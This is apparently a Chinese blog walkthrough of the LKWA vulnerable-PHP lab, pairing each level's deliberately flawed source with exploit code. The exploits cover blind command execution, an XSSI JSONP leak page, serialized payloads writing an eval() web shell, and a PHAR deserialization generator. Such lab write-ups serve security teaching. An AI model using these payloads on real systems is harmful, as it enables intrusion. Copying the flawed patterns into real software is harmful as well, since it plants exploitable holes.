LKWA靶场通关和源码分析

3 分钟
508
Web安全

一、Blind RCE？

源码：

<?php
include("sidebar.php");
/**
 * Blind RCE
 */
class Rce {
    private $user_input;
    private $level;
    function __construct() {
        $this->user_input = isset($_POST['user_input']) ? $_POST['user_input'] : null;
        $this->level = isset($_POST['level']) ? $_POST['level'] : null;
    }

    function start() {
        if (empty($this->user_input)) {

        }

        else{
                        exec($this->user_input);
        }

    }
}

$rce = new Rce();
if(!empty($_POST))
{
    $rce->start();
}
通过exec()直接传入post的数据，进行命令执行，但是无回显，一般有几种方式，curl外带，dnglog外带，反弹shell等等，这里靶机没有curl，所有curl没法用，当然，可以通过命令执行先下载，再进行curl。

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二、XSSI

源码：

session_start();
include("sidebar.php");
$file = "../api/user";
if(!isset($_SESSION['login_user'])){
header("location: index.php");
}
?>


<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
    <script src="../jquery/jquery.min.js"></script>
    <script>
         function get(){
                $.ajax(
                {
                 url:"../api/user",
                 type:"GET",
                 async:true,
                 success:function(parse){
                  for (var i in parse){

                      $("#" + i).text(parse[i]);

                  }
                 }
                }
                );
         }
         get();
       </script>
  </head>
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['login_user']) && $_SESSION['login_user'] == "admin"){
  $myObj = new \stdClass();
  $myObj->name = "admin";
  $myObj->token=time()+2*24*60*60;
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // normal JSON string
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }


}
else {
  $myObj = new \stdClass();
  $myObj->name = "";
  $myObj->token="";
  $data = json_encode($myObj);
  if(array_key_exists('callback', $_GET)){

      header('Content-Type: text/javascript; charset=utf8');

      header('Access-Control-Max-Age: 3628800');
      header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');

      $callback = $_GET['callback'];
      echo $callback.'('.$data.');';

  }else{
      // normal JSON string
      header('Content-Type: application/json; charset=utf8');

      echo $data;
  }
}
?>
使用admin，password登录会设置session，传到xssi.php，xssi.php中的$file指的就是api/user.php，而user.php中会用time()函数生成token，然后通过传入的callback参数输出data数据，因此可以调用/api/user触发。
<html>
  <head>
    <title>XSS</title>    
  </head>
<body>
   <script>
    function leak(leaked)
{
    alert(JSON.stringify(leaked));
};
    </script>
    <script src="http://ip:3000/api/user?callback=leak" type="text/javascript"></script>
</body>
</html>

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三、PHP Object Injection

源码：

<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename . ".txt";
        $this->data = $data;
    }
    function __destruct(){
        file_put_contents($this->filename, $this->data);
    }
}
?>
接收object参数，然后会反序列化object，所以可以触发destruct写入shell。
<?php


class Foo{
    function __construct($filename, $data) {
        $this->filename = $filename;
        $this->data = $data;
    }
}

$a=new Foo("/var/www/html/shell.php",'<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($a));

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四、PHP Object Injection(cookie)

源码：

<?php
include("sidebar.php");
include("obj_injection.php");

if (isset($_POST['username']) && isset($_POST['password'])) {
  $username = $_POST['username'];
  $password = $_POST['password'];
  $object = new stdClass();
  $object->user = $username;
  $data = serialize($object);
  if($username === "admin" && $password === "password")
        setcookie("username", $data, time() + (86400 * 30), "/"); // 86400 = 1 day
}

?>
<!DOCTYPE html>
<html>
<head>
        <title>Test</title>
</head>
<body>
        <div class="container-fluid">
          <div class="row">
            <div class="col-lg-12 mb-12">
              <!-- Approach -->
              <div class="card shadow mb-4">
                <div class="card-header py-3">
                  <h6 class="m-0 font-weight-bold text-primary">Object Injection via cookies</h6>
                </div>
                <div class="card-body">
<form action="content.php" method="POST">
  <div class="form-group">
    <label for="exampleInputEmail1">Username</label>
    <input type="text" class="form-control" placeholder="Enter username" name="username">
  </div>
  <div class="form-group">
    <label for="exampleInputPassword1">Password</label>
    <input type="password" class="form-control" id="exampleInputPassword1" placeholder="Password" name="password">
  </div>
  <button type="submit" class="btn btn-primary">Submit</button>
</form>
<?php
if(isset($_COOKIE['username']))
{

  $var = unserialize($_COOKIE['username']);
  echo "<br> Welcome ".$var->user;
}

?>
                </div>
              </div>

            </div>
          </div>
          <?php include("description.php"); ?>
        </div>


</body>
</html>
class Foo{
        public $cmd;
    function __construct() {
    }
    function __destruct(){
        eval($this->cmd);
    }
}

?>
使用序列化的方式生成cookie，然后对cookie中的username进行反序列化输出，Foo类可以进行命令执行，可以通过传入username，触发eval()。

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五、PHP Object Injection(Referer)

源码：

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <div class="container-fluid">
        <div class="row">
          <div class="col-lg-12 mb-12">
            <!-- Approach -->
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Object Injection (Object Reference)</h6>
              </div>
              <div class="card-body">
              <form action="objectref.php" method="post">
                <div class="form-group">
                  <label for="exampleInputEmail1">Guess</label>
                  <input type="text" class="form-control" placeholder="Enter number" name="guess">
                  <input type="hidden" name="input" value='O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}'>
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
                <p>
                <p class="text-danger"> Can you win this?.</p>
                  <?php
                  // vuln code
                  if (isset($_POST['guess'])) {
                    // code...
                    $obj = unserialize($_POST['input']);
                    if($obj) {
                        $obj->guess = $_POST['guess'];
                        $obj->secretCode = rand(500000,999999);
                        if($obj->guess === $obj->secretCode) {
                            echo "<p class='text-success'>You Win !!!!!</p>";
                        }
                        else{
                                echo "<p class='text-danger'>Loser!!!!</p>";
                        }
                    }
                  }
                  ?>
                <p>


              </form>
              </div>
            </div>
          </div>
        </div>
        <?php include("description.php"); ?>
    </div>
  </body>
</html>
要我们猜的数字和随机数相等，在不知道种子和前一次结果是几乎不可能做到的，但是可以控制input，使其相等。
<?php
class A{
    var $guess;
    var $secretCode;

}
$a=new A();
$a->guess=$a->secretCode;
echo serialize($a);

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六、PHAR

源码：

<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    if($imageFileType !== "PHAR") {
        $uploadOk = 1;
    } else {
        echo "File is not a PHAR file.";
        $uploadOk = 0;
    }
}
// Check if file already exists
if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}

// Allow certain file formats
if($imageFileType != "phar") {
    echo "Sorry, only PHAR file is allowed.";
    $uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
<?php
/**
 * 
 */
include("sidebar.php");

class log
{
        public $filename="log.txt";
        public $data="log";
    function __wakeup(){
        file_put_contents($this->filename, $this->data);
    }
}

if (file_exists($_GET['file'])) {
 $var = new log();
}


?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
<div class="container-fluid">
        <div class="row">
                <div class="col-lg-12 mb-12">
                        <!-- Approach -->
                        <div class="card shadow mb-4">
                                <div class="card-header py-3">
                                        <h6 class="m-0 font-weight-bold text-primary">PHAR Deserialization</h6>
                                </div>
                                <div class="card-body">
                                        <form action="upload.php" method="post" enctype="multipart/form-data">
                                                Select PHAR file to upload:<br><br>
                                                <input type="file" name="fileToUpload" id="fileToUpload" class="btn btn-secondary">
                                                <input type="submit" value="Upload PHAR" name="submit" class="btn btn-primary">
                                        </form>

                                </div>
                        </div>

                </div>
        </div>
        <?php include("description.php"); ?>
</div>
</body>
只能传phar，明显使用phar伪协议触发log类的file_put_contents方法进行shell。
<?php
class log
{
public $filename;
public $data;
}
$a=new log();
$a->filename="/var/www/html/phpinfo.php";
$a->data="<?php phpinfo();?>";

$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

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七、SSRF

源码：

<?php
include("sidebar.php");
if (isset($_GET['image'])) {
        # code...
        echo file_get_contents($_GET['image'], true);
}
?>
<!DOCTYPE html>
<html>
<head>
        <title></title>
</head>
<body>
    <div class="container-fluid">

        <!-- Page Heading -->
        <div class="d-sm-flex align-items-center justify-content-between mb-4">
          <h1 class="h3 mb-0 text-gray-800"></h1>
        </div>

        <div class="row">
          <div class="col-lg-12 mb-12">
            <!-- Approach -->
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">SSRF</h6>
              </div>
              <div class="card-body">
              <form action="index.php" method="GET">
                <div class="form-group">
                  <label for="exampleInputEmail1">Image URL</label>
                  <input type="text" class="form-control" placeholder="Enter url" name="image">
                </div>
                <button type="submit" class="btn btn-primary">Submit</button>
                <p>
              </form>
              <img src="<?php echo $_GET['image']; ?>">
              </div>
            </div>
          </div>
        </div>
        <?php include("description.php"); ?>
    </div>
</body>
</html>

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八、Variables

源码：

<?php 
include("sidebar.php");

?>
<!DOCTYPE html>
<html>
<head>
    <title>Variables variable</title>
</head>
<body>
    <div class="container-fluid">
        <div class="row">
          <div class="col-lg-12 mb-12">
            <div class="card shadow mb-4">
              <div class="card-header py-3">
                <h6 class="m-0 font-weight-bold text-primary">Variables variable</h6>
              </div>
              <div class="card-body">
                <!-- vuln form -->
                    <form action="variable.php" method="GET">
                      <div class="form-group">
                        <label for="exampleInputPassword1">String to dump</label>
                        <input type="hidden" name="func" value="var_dump">
                        <input type="text" class="form-control" id="exampleInputPassword1" name="input" placeholder="string">
                      </div>
                      <button type="submit" class="btn btn-primary">Submit</button>
                    </form>   
                    <br>
                    <p class="text-danger">Output:</p>
                    <p id="output">
                        <?php 
                                                        if (isset($_GET['func']) && isset($_GET['input'])) {
                                                                $var = $_GET['func'];
                                                                ${"var"}($_GET['input']);
                                                        }
                        ?>

                    </p>                
              </div>
            </div>

          </div>

        </div>


          <?php include("description.php"); ?>
    </div>

</body>
</html>
直接拼接了两个参数，那么就可以直接进行命令执行，但是要回显，因此可以使用passthru，当然这里也可以直接反弹shell，方式很多。

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总结

简单、基础、好玩！
靶场地址：lkwa的某docker镜像地址

~  ~  The   End  ~  ~


 赏 
承蒙厚爱，倍感珍贵，我会继续努力哒！
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文章二维码 分类标签：CTF，Web安全
文章标题：LKWA靶场通关和源码分析
文章链接：https://aiwin.fun/index.php/archives/2001/
最后编辑：2024 年 1 月 4 日 16:59 By Aiwin
许可协议： 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)

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